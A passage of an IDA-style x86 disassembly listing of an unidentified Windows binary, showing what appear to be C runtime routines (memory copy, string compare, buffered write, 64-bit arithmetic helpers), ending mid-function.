; =============== S U B R O U T I N E =======================================
sub_41D3B6 proc near ; CODE XREF: sub_41D322+4Fp
; sub_4233C0+78p
push ebx
push ecx
mov ebx, offset dword_43A65C
mov ecx, [ebp+8]
loc_41D3C0: ; CODE XREF: sub_41D3AD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D3B6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D3D0 proc near ; CODE XREF: sub_40D327+5p
; sub_40D4C9+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D3D0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D3EF proc near ; CODE XREF: sub_40D968+26p
; ___:004263D2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA31
pop ecx
retn
sub_41D3EF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D400 proc near ; CODE XREF: sub_40D9D9+3Ap
; sub_41E4A2+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D420
cmp edi, eax
jb loc_41D598
loc_41D420: ; CODE XREF: sub_41D400+16j
test edi, 3
jnz short loc_41D43C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D45C
rep movsd
jmp off_41D548[edx*4]
; ---------------------------------------------------------------------------
loc_41D43C: ; CODE XREF: sub_41D400+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D454
and eax, 3
add ecx, eax
jmp dword ptr loc_41D45C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D454: ; CODE XREF: sub_41D400+46j
jmp dword ptr loc_41D558[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D45C: ; CODE XREF: sub_41D400+31j
; sub_41D400+8Ej ...
jmp off_41D4DC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D470
dd offset loc_41D49C
dd offset loc_41D4C0
; ---------------------------------------------------------------------------
loc_41D470: ; DATA XREF: sub_41D400+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D45C
rep movsd
jmp off_41D548[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D49C: ; DATA XREF: sub_41D400+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D45C
rep movsd
jmp off_41D548[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D4C0: ; DATA XREF: sub_41D400+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D45C
rep movsd
jmp off_41D548[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D4DC dd offset loc_41D53F ; DATA XREF: sub_41D400:loc_41D45Cr
dd offset loc_41D52C
dd offset loc_41D524
dd offset loc_41D51C
dd offset loc_41D514
dd offset loc_41D50C
dd offset loc_41D504
dd offset loc_41D4FC
; ---------------------------------------------------------------------------
loc_41D4FC: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D504: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D50C: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D514: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D51C: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D524: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D52C: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D53F: ; CODE XREF: sub_41D400:loc_41D45Cj
; DATA XREF: sub_41D400:off_41D4DCo
jmp off_41D548[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D548 dd offset loc_41D558 ; DATA XREF: sub_41D400+35r
; sub_41D400+92r ...
dd offset loc_41D560
dd offset loc_41D56C
dd offset loc_41D580
; ---------------------------------------------------------------------------
loc_41D558: ; CODE XREF: sub_41D400+35j
; sub_41D400+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D560: ; CODE XREF: sub_41D400+35j
; sub_41D400+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D56C: ; CODE XREF: sub_41D400+35j
; sub_41D400+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D580: ; CODE XREF: sub_41D400+35j
; sub_41D400+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D598: ; CODE XREF: sub_41D400+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D5CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D5C0
std
rep movsd
cld
jmp off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D5C0: ; CODE XREF: sub_41D400+1B1j
; sub_41D400+208j ...
neg ecx
jmp off_41D690[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D5CC: ; CODE XREF: sub_41D400+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D5E4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D5E4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D5E4: ; CODE XREF: sub_41D400+1D6j
; DATA XREF: sub_41D400+1DDr
jmp off_41D6E0[ecx*4]
; ---------------------------------------------------------------------------
align 4
clc
aad 41h
add [eax], bl
setalc
inc ecx
add [eax-2Ah], al
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D5C0
std
rep movsd
cld
jmp off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D5C0
std
rep movsd
cld
jmp off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D5C0
std
rep movsd
cld
jmp off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D694
dd offset loc_41D69C
dd offset loc_41D6A4
dd offset loc_41D6AC
dd offset loc_41D6B4
dd offset loc_41D6BC
dd offset loc_41D6C4
off_41D690 dd offset loc_41D6D7 ; DATA XREF: sub_41D400+1C2r
; ---------------------------------------------------------------------------
loc_41D694: ; DATA XREF: sub_41D400+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D69C: ; DATA XREF: sub_41D400+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D6A4: ; DATA XREF: sub_41D400+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D6AC: ; DATA XREF: sub_41D400+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D6B4: ; DATA XREF: sub_41D400+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D6BC: ; DATA XREF: sub_41D400+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D6C4: ; DATA XREF: sub_41D400+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D6D7: ; CODE XREF: sub_41D400+1C2j
; DATA XREF: sub_41D400:off_41D690o
jmp off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D6E0 dd offset loc_41D6F0 ; DATA XREF: sub_41D400+1B7r
; sub_41D400:loc_41D5E4r ...
dd offset loc_41D6F8
dd offset loc_41D708
dd offset loc_41D71C
; ---------------------------------------------------------------------------
loc_41D6F0: ; CODE XREF: sub_41D400+1B7j
; sub_41D400:loc_41D5E4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D6F8: ; CODE XREF: sub_41D400+1B7j
; sub_41D400:loc_41D5E4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D708: ; CODE XREF: sub_41D400+1B7j
; sub_41D400:loc_41D5E4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D71C: ; CODE XREF: sub_41D400+1B7j
; sub_41D400:loc_41D5E4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D400 endp
; =============== S U B R O U T I N E =======================================
sub_41D735 proc near ; CODE XREF: sub_40DA40+34p
; sub_40DA40+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BCAD
pop ecx
pop ecx
retn
sub_41D735 endp
; =============== S U B R O U T I N E =======================================
sub_41D743 proc near ; CODE XREF: sub_41D7B0+4p
arg_0 = dword ptr 4
push esi
push dword_4DADB4
call sub_422548
mov edx, dword_4DADB4
pop ecx
mov ecx, dword_4DADB0
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D7A2
push edx
call sub_422548
add eax, 10h
push eax
push dword_4DADB4
call sub_41BB48
add esp, 0Ch
test eax, eax
jnz short loc_41D785
retn
; ---------------------------------------------------------------------------
loc_41D785: ; CODE XREF: sub_41D743+3Fj
mov ecx, dword_4DADB0
sub ecx, dword_4DADB4
mov dword_4DADB4, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DADB0, ecx
loc_41D7A2: ; CODE XREF: sub_41D743+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DADB0, 4
retn
sub_41D743 endp
; =============== S U B R O U T I N E =======================================
sub_41D7B0 proc near ; CODE XREF: sub_40DB2D+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D743
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D7B0 endp
; ---------------------------------------------------------------------------
push 80h
call sub_41BC9B
test eax, eax
pop ecx
mov dword_4DADB4, eax
jnz short loc_41D7E3
push 18h
call sub_41E1C9
mov eax, dword_4DADB4
pop ecx
loc_41D7E3: ; CODE XREF: ___:0041D7D4j
and dword ptr [eax], 0
mov eax, dword_4DADB4
mov dword_4DADB0, eax
retn
; =============== S U B R O U T I N E =======================================
sub_41D7F1 proc near ; CODE XREF: sub_40DB4F+7Ap
; sub_40DB4F+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41D805
loc_41D7FD: ; CODE XREF: sub_41D7F1+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41D7FD
loc_41D805: ; CODE XREF: sub_41D7F1+Aj
mov edx, [esp+arg_4]
push esi
loc_41D80A: ; CODE XREF: sub_41D7F1+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41D80A
pop esi
retn
sub_41D7F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D81B proc near ; CODE XREF: ___:0040E534p
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call near ptr 27B0000h
nop
lea eax, [ebp+var_20]
push eax
call near ptr 2890000h
nop
mov ax, [ebp+var_16]
cmp ax, word_4D9782
jnz short loc_41D880
mov ax, [ebp+var_18]
cmp ax, word_4D9780
jnz short loc_41D880
mov ax, [ebp+var_1A]
cmp ax, word_4D977E
jnz short loc_41D880
mov ax, [ebp+var_1E]
cmp ax, word_4D977A
jnz short loc_41D880
mov ax, [ebp+var_20]
cmp ax, word_4D9778
jnz short loc_41D880
mov eax, dword_4D9770
jmp short loc_41D8C5
; ---------------------------------------------------------------------------
loc_41D880: ; CODE XREF: sub_41D81B+28j
; sub_41D81B+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 2880000h
cmp eax, 0FFFFFFFFh
jz short loc_41D8AD
cmp eax, 2
jnz short loc_41D8A9
cmp [ebp+var_32], 0
jz short loc_41D8A9
cmp [ebp+var_24], 0
jz short loc_41D8A9
push 1
pop eax
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D8A9: ; CODE XREF: sub_41D81B+7Aj
; sub_41D81B+81j ...
xor eax, eax
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D8AD: ; CODE XREF: sub_41D81B+75j
or eax, 0FFFFFFFFh
loc_41D8B0: ; CODE XREF: sub_41D81B+8Cj
; sub_41D81B+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4D9778
movsd
movsd
movsd
movsd
pop edi
mov dword_4D9770, eax
pop esi
loc_41D8C5: ; CODE XREF: sub_41D81B+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422571
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D8F5
mov [ecx], eax
locret_41D8F5: ; CODE XREF: sub_41D81B+D6j
leave
retn
sub_41D81B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D900 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4D97C8
cmp dword ptr [eax+8], 0
jnz short loc_41D953
mov al, 0FFh
mov edi, edi
loc_41D91C: ; CODE XREF: sub_41D900+28j
; sub_41D900+48j
or al, al
jz short loc_41D94E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D91C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D91C
sbb al, al
sbb al, 0FFh
loc_41D94E: ; CODE XREF: sub_41D900+1Ej
movsx eax, al
jmp short loc_41D987
; ---------------------------------------------------------------------------
loc_41D953: ; CODE XREF: sub_41D900+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D95C: ; CODE XREF: sub_41D900+68j
; sub_41D900+80j
or al, al
jz short loc_41D987
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D95C
push eax
push ebx
call sub_41DEEC
mov ebx, eax
add esp, 4
call sub_41DEEC
add esp, 4
cmp bl, al
jz short loc_41D95C
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D987: ; CODE XREF: sub_41D900+51j
; sub_41D900+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D900 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DA08
mov edi, [esp+14h]
test edi, edi
jz short loc_41D9AB
cmp edi, 1
jz short loc_41D9AB
cmp edi, 2
jnz short loc_41DA08
loc_41D9AB: ; CODE XREF: ___:0041D99Fj
; ___:0041D9A4j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D9C2
push esi
call sub_4226CD
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D9C2: ; CODE XREF: ___:0041D9B3j
push esi
call sub_41E32B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D9D7
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D9EB
; ---------------------------------------------------------------------------
loc_41D9D7: ; CODE XREF: ___:0041D9CEj
test al, 1
jz short loc_41D9EB
test al, 8
jz short loc_41D9EB
test ah, 4
jnz short loc_41D9EB
mov dword ptr [esi+18h], 200h
loc_41D9EB: ; CODE XREF: ___:0041D9D5j
; ___:0041D9D9j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_422633
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DA15
; ---------------------------------------------------------------------------
loc_41DA08: ; CODE XREF: ___:0041D997j
; ___:0041D9A9j
mov dword_4D9714, 16h
or eax, 0FFFFFFFFh
loc_41DA15: ; CODE XREF: ___:0041DA06j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_41364F+19Ep
; sub_4143AC+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DA39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DA39: ; CODE XREF: sub_41DA20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA54 proc near ; CODE XREF: ___:00416640p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DA78
xor eax, eax
jmp loc_41DB45
; ---------------------------------------------------------------------------
loc_41DA78: ; CODE XREF: sub_41DA54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DA8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DA92
; ---------------------------------------------------------------------------
loc_41DA8B: ; CODE XREF: sub_41DA54+2Dj
mov [ebp+arg_C], 1000h
loc_41DA92: ; CODE XREF: sub_41DA54+35j
; sub_41DA54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DAC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DAC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DAAC
mov edi, eax
loc_41DAAC: ; CODE XREF: sub_41DA54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CAB0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DB0C
; ---------------------------------------------------------------------------
loc_41DAC6: ; CODE XREF: sub_41DA54+47j
; sub_41DA54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DB11
test ecx, ecx
jz short loc_41DADA
push esi
call sub_41E32B
test eax, eax
pop ecx
jnz short loc_41DB53
loc_41DADA: ; CODE XREF: sub_41DA54+79j
cmp [ebp+arg_C], 0
jz short loc_41DAED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DAEF
; ---------------------------------------------------------------------------
loc_41DAED: ; CODE XREF: sub_41DA54+8Aj
mov edi, ebx
loc_41DAEF: ; CODE XREF: sub_41DA54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_422825
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DB4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DB4A
loc_41DB0C: ; CODE XREF: sub_41DA54+70j
mov edi, [ebp+var_4]
jmp short loc_41DB3A
; ---------------------------------------------------------------------------
loc_41DB11: ; CODE XREF: sub_41DA54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F4BF
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DB53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DB3A
mov [ebp+arg_C], 1
loc_41DB3A: ; CODE XREF: sub_41DA54+BBj
; sub_41DA54+DDj
test ebx, ebx
jnz loc_41DA92
mov eax, [ebp+arg_8]
loc_41DB45: ; CODE XREF: sub_41DA54+1Fj
; sub_41DA54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DB4A: ; CODE XREF: sub_41DA54+ADj
; sub_41DA54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DB55
; ---------------------------------------------------------------------------
loc_41DB53: ; CODE XREF: sub_41DA54+84j
; sub_41DA54+CFj
mov eax, edi
loc_41DB55: ; CODE XREF: sub_41DA54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DB45
sub_41DA54 endp
; =============== S U B R O U T I N E =======================================
sub_41DB5E proc near ; CODE XREF: sub_416C63+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 269058Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41DB7E
nop
call near ptr 2680DCDh
push eax
call sub_420314
pop ecx
loc_41DB7A: ; CODE XREF: sub_41DB5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DB7E: ; CODE XREF: sub_41DB5E+Dj
test al, 1
jz short loc_41DB9F
test [esp+arg_4], 2
jz short loc_41DB9F
mov dword_4D9714, 0Dh
mov dword_4D9718, 5
jmp short loc_41DB7A
; ---------------------------------------------------------------------------
loc_41DB9F: ; CODE XREF: sub_41DB5E+22j
; sub_41DB5E+29j
xor eax, eax
retn
sub_41DB5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DBB0 proc near ; CODE XREF: sub_416C7D+3Fp
; sub_41AE75+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DBD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DC13
; ---------------------------------------------------------------------------
loc_41DBD2: ; CODE XREF: sub_41DBB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DBE0: ; CODE XREF: sub_41DBB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DBE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DC0E
cmp edx, [esp+8+arg_4]
ja short loc_41DC0E
jb short loc_41DC0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DC0F
loc_41DC0E: ; CODE XREF: sub_41DBB0+4Ej
; sub_41DBB0+54j
dec esi
loc_41DC0F: ; CODE XREF: sub_41DBB0+56j
; sub_41DBB0+5Cj
xor edx, edx
mov eax, esi
loc_41DC13: ; CODE XREF: sub_41DBB0+20j
pop esi
pop ebx
retn 10h
sub_41DBB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DC20 proc near ; CODE XREF: sub_416C7D+2Dp
; sub_41AE75+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DC41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DC91
; ---------------------------------------------------------------------------
loc_41DC41: ; CODE XREF: sub_41DC20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DC4F: ; CODE XREF: sub_41DC20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DC4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DC7A
cmp edx, [esp+4+arg_4]
ja short loc_41DC7A
jb short loc_41DC82
cmp eax, [esp+4+arg_0]
jbe short loc_41DC82
loc_41DC7A: ; CODE XREF: sub_41DC20+4Aj
; sub_41DC20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DC82: ; CODE XREF: sub_41DC20+52j
; sub_41DC20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DC91: ; CODE XREF: sub_41DC20+1Fj
pop ebx
retn 10h
sub_41DC20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCA0 proc near ; CODE XREF: sub_416D8D+5Fp
; sub_416D8D+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DCC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DCC1: ; CODE XREF: sub_41DCA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DCDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DCDD: ; CODE XREF: sub_41DCA0+27j
or eax, eax
jnz short loc_41DCF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD3A
; ---------------------------------------------------------------------------
loc_41DCF9: ; CODE XREF: sub_41DCA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DD07: ; CODE XREF: sub_41DCA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DD07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DD35
cmp edx, [esp+0Ch+arg_4]
